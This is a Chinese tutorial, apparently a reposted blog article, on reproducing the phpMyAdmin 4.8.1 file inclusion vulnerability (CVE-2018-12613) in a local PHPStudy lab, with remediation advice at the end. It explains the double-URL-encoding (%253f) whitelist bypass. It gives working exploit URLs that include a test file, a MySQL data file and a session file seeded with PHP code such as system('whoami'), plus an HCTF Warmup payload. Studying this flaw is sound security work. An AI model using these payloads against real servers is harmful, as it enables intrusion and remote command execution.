当前位置: 首页 > news >正文

用PHPStudy在Windows上复现phpMyAdmin 4.8.1文件包含漏洞(附详细配置与双倍编码绕过技巧)

Windows环境下PHPStudy搭建phpMyAdmin 4.8.1漏洞靶场实战指南

在安全研究领域,漏洞复现是理解漏洞原理和提升实战能力的重要途径。phpMyAdmin作为广泛使用的MySQL管理工具,其历史版本中的文件包含漏洞(CVE-2018-12613)因其典型性和教育意义,成为许多安全爱好者入门Web安全的首选实验案例。本文将手把手指导您在Windows环境下使用PHPStudy快速搭建漏洞环境,并深入剖析漏洞利用的核心技术。

1. 实验环境搭建与避坑指南

1.1 PHPStudy与phpMyAdmin 4.8.1安装

PHPStudy作为Windows平台最便捷的PHP集成环境,极大简化了环境配置流程。以下是具体安装步骤:

  1. 下载组件

    • 从官网获取PHPStudy最新版(推荐v8.1)
    • 下载phpMyAdmin 4.8.1版本压缩包
  2. 部署环境

    # 解压phpMyAdmin到PHPStudy的WWW目录 C:\phpStudy\WWW\phpMyAdmin-4.8.1\
  3. 版本匹配建议

    组件推荐版本兼容性说明
    PHP5.6-7.0避免使用PHP7.2+
    MySQL5.5-5.7确保与phpMyAdmin兼容

注意:若安装后访问出现空白页,需检查PHP错误日志,常见问题是缺少mbstring扩展,在PHPStudy面板中启用即可。

1.2 关键配置项修正

首次登录phpMyAdmin时,会遇到$cfg['blowfish_secret']配置错误提示。这是安全机制的一部分,需要手动修正:

  1. 打开配置文件:

    C:\phpStudy\WWW\phpMyAdmin-4.8.1\libraries\config.default.php
  2. 修改以下参数:

    $cfg['blowfish_secret'] = '此处填入32位以上随机字符串'; // 示例:'a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0'
  3. Session目录权限

    • 确保phpStudy\Extensions\tmp\tmp目录有写入权限
    • 在php.ini中检查session.save_path配置项

2. 漏洞原理深度解析

2.1 漏洞触发条件分析

该文件包含漏洞存在于index.php对target参数的处理流程中,核心验证逻辑如下:

// index.php关键代码片段 if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; }

绕过检查需要同时满足五个条件,其中最关键的是checkPageValidity()函数的验证。该函数存在三重验证机制:

  1. 白名单直接匹配

    $whitelist = array('db_datadict.php', 'sql.php', ...); if (in_array($page, $whitelist)) return true;
  2. 单次URL解码验证

    $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $whitelist)) return true;
  3. 双重URL解码验证

    $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $whitelist)) return true;

2.2 双编码绕过技术详解

漏洞利用的关键在于构造特殊的%253f编码:

  1. 编码过程分解

    • 原始字符:?
    • 第一次编码:%3f(服务器自动解码)
    • 第二次编码:%253f(urldecode函数解码)
  2. 验证流程时序

    请求URL: target=db_datadict.php%253f/../../../../etc/passwd → 服务器自动解码:db_datadict.php%3f/../../../../etc/passwd → urldecode函数解码:db_datadict.php?/../../../../etc/passwd → 白名单验证通过(db_datadict.php在白名单中) → 最终包含路径:db_datadict.php?/../../../../etc/passwd

3. 漏洞复现实战操作

3.1 本地文件包含验证

  1. 准备测试文件

    • 在D盘创建测试文件:D:\test\vuln_test.txt
    • 文件内容可包含特殊标记如<<<TEST_FILE>>>
  2. 构造Payload

    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../D:/test/vuln_test.txt
  3. 结果验证

    • 成功包含时,页面会显示测试文件内容
    • 若失败,检查路径深度(可能需要调整../数量)

3.2 数据库文件包含实现代码执行

  1. 创建测试数据库

    CREATE DATABASE test_vuln; USE test_vuln; CREATE TABLE exploit (code TEXT); INSERT INTO exploit VALUES ('<?php phpinfo(); ?>');
  2. 定位数据库文件

    • MySQL数据文件通常位于:
      C:\phpStudy\Extensions\MySQL5.7.26\data\test_vuln\exploit.MYD
  3. 执行Payload

    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/MySQL5.7.26/data/test_vuln/exploit.MYD

提示:实际环境中,数据库文件可能因存储引擎不同而扩展名各异,InnoDB引擎需查找.ibd文件。

3.3 Session文件包含技巧

  1. 生成Session文件

    • 在phpMyAdmin执行:
      SELECT "<?php system('whoami'); ?>";
  2. 查找Session路径

    • 默认路径:
      C:\phpStudy\Extensions\tmp\tmp\sess_[session_id]
    • 可通过phpinfo()查看session.save_path确认
  3. 包含Session文件

    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/tmp/tmp/sess_abc123def456

4. 高级利用与防护建议

4.1 CTF实战应用案例

以HCTF 2018 Warmup题目为例,漏洞利用流程:

  1. 发现源码提示:

    <!--source.php-->
  2. 审计源码发现文件包含:

    $file = $_GET['file']; include $file;
  3. 构造双编码Payload:

    /source.php?file=source.php%253f/../../../../../ffffllllaaaagggg

4.2 漏洞修复方案

对于仍在使用旧版本phpMyAdmin的环境,建议采取以下防护措施:

  1. 升级方案

    • 立即升级到phpMyAdmin 4.8.3及以上版本
  2. 临时加固

    // 在config.inc.php中添加 $cfg['AllowArbitraryServer'] = false; $cfg['ServerDefault'] = 0;
  3. 服务器配置

    • 设置open_basedir限制目录访问
    • 禁用allow_url_include

在实验结束后,建议立即关闭PHPStudy服务或删除漏洞环境,避免留下安全隐患。对于安全研究者,可将此环境打包为虚拟机镜像,方便后续研究使用。

http://www.gsyq.cn/news/1459565.html

相关文章:

  • 如何快速上手crt-animation-terminal-ltx-2.3-lora:5分钟创建复古CRT视频特效
  • 如何解决DLSS状态监控难题:DLSS Swapper完整配置指南
  • 从ONNX模型到实时音频处理:MOSS-Audio-Tokenizer-Nano-ONNX快速入门指南
  • 如何3秒破解百度网盘提取码:智能工具的终极效率革命
  • 用PHPStudy搭建phpMyAdmin 4.8.1靶场,手把手复现那个经典的文件包含漏洞
  • 如何在Android应用中快速集成WaveSideBar:3分钟实现波浪效果索引栏
  • 深入解析TeleChat2.5-35B架构设计:350亿参数的智能实现
  • 终极泰语文本生成模型:gpt2-base-thai如何彻底改变泰国NLP应用
  • 深度解析ZenTimings:AMD Ryzen平台内存时序监控关键技术
  • 2026永磁变频螺杆空压机厂家选型横评:资源禀赋与交付力深度解析指南 - 企师傅推荐官
  • GPT2_PMC-openmind:基于PubMed Central的医学问答AI模型完全指南
  • 如何用Mellum2-12B-A2.5B-Thinking实现69.9%代码通过率?LiveCodeBench实测
  • 小红书微信小程序数据采集工具包:mitmdump抓包+动态headers解析+去重CSV保存
  • 别再手动调参了!用OpenCV-Python的滑动条,5分钟搞定图片HSV/RGB阈值调试
  • 【科研党必收藏】2026年8月优质国际学术会议一览表 - 爱搞科研的小刘
  • 多机多卡训练Faster RCNN:超简单脚本实现64节点分布式训练(附性能数据)
  • OpenClaw深度解析:面向嵌入式AI的硬实时感知-执行中间件
  • 如何用PDF补丁丁一站式解决PDF编辑难题:从书签管理到文档优化的完整指南
  • 5个实用技巧:让WaveSideBar在你的App中发挥最大价值
  • 大模型版本号失效:从GPT-5.5看能力驱动的评估新范式
  • gelectra-large-germanquad-openmind与Transformers对比:为什么选择这个德语QA模型
  • 2026 年 6 月眉山防水维修机构甄选指南:卫生间免砸砖、屋顶阳台外墙地下室漏水检修与避坑全攻略 - 吉修匠
  • 抖音去水印教程:5大工具深度评测,新手必看指南 - 科技热点发布
  • 医用超声图像后处理:斑点噪声抑制算法详解
  • 3步搞定Windows PDF处理:Poppler预编译包让复杂任务变简单
  • DeepSeek-R1-Distill-Qwen-1.5B-FP16:终极AI推理模型入门指南
  • 国内冷轧板/镀锌板/锰钢板/电解板/热轧板/冷卷/镀锌卷加工厂实力排行榜:广东东莞达昌隆稳居榜首深度解析 - 变量人生001
  • 小程序毕设选题推荐:基于springboot+微信小程序的企业网络主机IP地址管理系统【附源码、mysql、文档、调试+代码讲解+全bao等】
  • 2026黄金回收实测|广元本地5家正规门店对比,高位变现避坑指南 - 奢佳美黄金珠宝
  • 微信投票怎么发起?云众评选小程序实操全步骤 - 微信投票小程序